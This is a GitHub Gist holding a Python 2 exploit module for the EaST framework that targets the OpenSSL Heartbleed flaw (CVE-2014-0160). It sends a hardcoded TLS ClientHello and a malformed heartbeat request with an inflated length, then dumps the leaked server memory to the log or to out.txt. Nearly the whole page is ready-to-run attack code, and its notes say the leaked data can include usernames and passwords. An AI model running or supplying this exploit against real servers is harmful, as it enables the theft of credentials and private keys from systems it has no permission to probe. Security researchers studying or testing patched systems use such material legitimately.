Last active
July 25, 2019 16:11
-
-
Save snovvcrash/5f12ffa8ce197e981e7b881903aa5122 to your computer and use it in GitHub Desktop.
OpenSSL "Heartbleed" exploit module for the EaST Framework
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import os | |
import sys | |
import socket | |
import struct | |
from collections import OrderedDict | |
sys.path.append("./core") | |
from Sploit import Sploit | |
INFO = {} | |
INFO['NAME'] = 'simple_openssl_heartbleed_scanner' | |
INFO['DESCRIPTION'] = 'OpenSSL TLS Heartbeat Extension - "Heartbleed" Memory Disclosure' | |
INFO['VENDOR'] = 'https://www.openssl.org/' | |
INFO['CVE Name'] = '2014-0160' | |
INFO['NOTES'] = ''' | |
Heartbleed is a vulnerability that came to light in April of 2014; | |
it allowed attackers unprecedented access to sensitive information, | |
and it was present on thousands of web servers, | |
including those running major sites like Yahoo. | |
Heartbleed was caused by a flaw in OpenSSL, an open source code | |
library that implemented the Transport Layer Security (TLS) and | |
Secure Sockets Layer (SSL) protocols. In short, a malicious user | |
could easily trick a vulnerable web server into sending sensitive | |
information, including usernames and passwords. | |
''' | |
INFO['LINKS'] = [ | |
'http://heartbleed.com/', | |
'https://www.seancassidy.me/diagnosis-of-the-openssl-heartbleed-bug.html', | |
'https://blog.cryptographyengineering.com/2014/04/08/attack-of-the-week-openssl-heartbleed/', | |
'https://xkcd.com/1354/' | |
] | |
INFO['CHANGELOG'] = '2018-12-03' | |
INFO['PATH'] = 'Exploits/' | |
INFO['AUTHOR'] = 'Sam Freeside (@snovvcrash)' | |
OPTIONS = OrderedDict() | |
OPTIONS['HOST'] = '127.0.0.1' | |
OPTIONS['PORT'] = 443 | |
OPTIONS['OUTPUT TO FILE'] = False | |
class exploit(Sploit): | |
tls_hello = ''' | |
16 03 02 00 dc 01 00 00 d8 03 02 53 | |
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf | |
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 | |
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 | |
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c | |
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 | |
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 | |
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c | |
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 | |
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 | |
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 | |
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 | |
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 | |
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 | |
00 0f 00 01 01 | |
''' | |
tls_heartbeat = ''' | |
18 03 02 00 03 | |
01 40 00 | |
''' | |
def __init__(self, host='', port=0, output_to_file=False, logger=None): | |
Sploit.__init__(self, logger=logger) | |
self.name = INFO['NAME'] | |
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
self.host = host | |
self.port = port | |
self.output_to_file = output_to_file | |
def args(self): | |
self.args = Sploit.args(self, OPTIONS) | |
self.host = self.args.get('HOST', OPTIONS['HOST']) | |
self.port = self.args.get('PORT', OPTIONS['PORT']) | |
self.output_to_file = self.args.get('OUTPUT TO FILE', OPTIONS['OUTPUT TO FILE']) | |
def h2bin(self, x): | |
return (x.replace(' ', '').replace('\t', '').replace('\n', '').decode('hex')) | |
def raw2str(self, s): | |
return ''.join(c if 32 <= ord(c) <= 126 else '.' for c in s) | |
def hexdump(self, s): | |
with open('out.txt', 'w') as f: | |
for b in range(0, len(s), 16): | |
line = [c for c in s[b:b+16]] | |
hex_data = ' '.join('%02X' % ord(c) for c in line) | |
str_data = self.raw2str(line) | |
f.write(' %04x: %-48s %s\n' % (b, hex_data, str_data)) | |
def recvall(self, count): | |
buf = b'' | |
while count: | |
newbuf = self.sock.recv(count) | |
if not newbuf: | |
return None | |
buf += newbuf | |
count -= len(newbuf) | |
return buf | |
def output_results(self, s): | |
if self.output_to_file: | |
self.log('[*] Writing results to %s/out.txt ...' % os.getcwd()) | |
self.hexdump(s) | |
else: | |
self.log(self.raw2str(s)) | |
def hit_heartbleed(self): | |
self.sock.send(self.h2bin(self.tls_heartbeat)) | |
while True: | |
hdr = self.sock.recv(5) | |
if hdr is None: | |
self.log('[-] Unexpected EOF receiving record header: Server closed connection') | |
return False | |
content_type, version, length = struct.unpack('>BHH', hdr) | |
if content_type is None: | |
self.log('[-] No tls_heartbeat response received: Server likely not vulnerable') | |
return False | |
payload = self.recvall(length) | |
if payload is None: | |
self.log('[-] Unexpected EOF receiving record payload: Server closed connection') | |
return False | |
self.log('[+] Received message: type = %d, ver = %04x, length = %d' % (content_type, version, len(payload))) | |
if content_type == 24: | |
self.log('[*] Received tls_heartbeat response') | |
if len(payload) > 3: | |
self.log('[*] VULNERABLE! Server returned more data than it should') | |
else: | |
self.log('[-] Server processed malformed tls_heartbeat, but did not return any extra data') | |
self.output_results(payload) | |
return True | |
elif content_type == 21: | |
self.log('[*] Received alert response') | |
self.log('[-] Server returned error, likely not vulnerable') | |
self.output_results(payload) | |
return False | |
def run(self): | |
self.args() | |
self.log('[*] Connecting ...') | |
self.sock.connect((self.host, self.port)) | |
self.log('[*] Sending client tls_hello ...') | |
self.sock.send(self.h2bin(self.tls_hello)) | |
while True: | |
hdr = self.sock.recv(5) | |
content_type, version, length = struct.unpack('>BHH', hdr) | |
handshake = self.recvall(length) | |
self.log('[+] Received message: type = %d, ver = %04x, length = %d' % (content_type, version, len(handshake))) | |
if content_type == 22 and ord(handshake[0]) == 0x0E: | |
break | |
self.log('[*] Handshake done ...') | |
self.log('[*] Sending tls_heartbeat request with length 4 ...') | |
self.finish(self.hit_heartbleed()) | |
if __name__ == '__main__': | |
print 'Running exploit %s .. ' % INFO['NAME'] | |
e = exploit('127.0.0.1', 443, output_to_file=False) | |
e.run() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment